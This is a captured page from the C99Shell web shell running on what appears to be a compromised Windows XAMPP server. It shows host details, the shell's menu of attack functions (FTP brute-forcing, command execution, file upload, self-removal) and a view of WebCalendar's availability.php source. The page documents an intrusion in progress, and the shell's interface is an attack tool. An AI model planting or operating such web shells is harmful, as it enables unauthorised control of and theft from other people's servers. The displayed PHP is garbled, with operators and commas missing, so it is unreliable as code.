!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\jaime\nuevo\WebCalendar-1.0.2\   drwxrwxrwx
Free 7.96 GB of 239.26 GB (3.33%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     availability.php (2.57 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Page Description:
 *    Display a timebar view of a single day.
 *
 * Input Parameters:
 *    month (*) - specify the starting month of the timebar
 *    day (*) - specify the starting day of the timebar
 *    year (*) - specify the starting year of the timebar
 *    users (*) - csv of users to include
 *    (*) required field
    *
 * Security:
 *    Must have "allow view others" enabled ($allow_view_other) in
 *      System Settings unless the user is an admin user ($is_admin).
 */

include_once 'includes/init.php';

// Don't allow users to use this feature if "allow view others" is
// disabled.
if ( $allow_view_other == "N" && ! $is_admin ) {
  
// not allowed...
  
exit;
}

// input args in URL
// users: list of comma-separated users
if ( empty ( $users ) ) {
  echo 
"Program Error: No users specified!"; exit;
} else if ( empty ( 
$year ) ) {
  echo 
"Program Error: No year specified!"; exit;
} else if ( empty ( 
$month ) ) {
  echo 
"Program Error: No month specified!"; exit;
} else if ( empty ( 
$day ) ) {
  echo 
"Program Error: No day specified!"; exit;
}

$INC = array ( 'js/availability.php' );
print_header($INC''"onload=\"focus();\""true );

$span = ($WORK_DAY_END_HOUR $WORK_DAY_START_HOUR) * 1;
if (
strlen($month) == 1$month '0'.$month;   // add leading zeros
if (strlen($day) == 1$day '0'.$day;         // add leading zeros
$date $year.$month.$day;
$time mktime(0,0,0,$month,$day,$year);
$wday strftime "%w"$time );
$base_url "?users=$users";
$prev_url $base_url."&amp;year=".  strftime('%Y'$time 86400)
                     .
"&amp;month="strftime('%m'$time 86400)
                     .
"&amp;day=".   strftime('%d'$time 86400);
$next_url $base_url."&amp;year=".  strftime('%Y'$time 86400)
                     .
"&amp;month="strftime('%m'$time 86400)
                     .
"&amp;day=".   strftime('%d'$time 86400);

$users explode(",",$users);
?>

<div style="border-width:0px; width:99%;">
<a title="<?php etranslate("Previous")?>" class="prev" href="<?php echo $prev_url ?>"><img src="leftarrow.gif" class="prevnext" alt="<?php etranslate("Previous")?>" /></a>
<a title="<?php etranslate("Next")?>" class="next" href="<?php echo $next_url ?>"><img src="rightarrow.gif" class="prevnext" alt="<?php etranslate("Next")?>" /></a>
<div class="title">
<span class="date"><?php 
  printf 
"%s, %s %d, %d"weekday_name $wday ), month_name $month ), $day$year ); 
?></span><br />
</div></div>
<br />

<form action="availability.php" method="post">
<?php daily_matrix($date,$users); ?>
</form>

<?php print_trailer falsetruetrue ); ?>

</body></html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--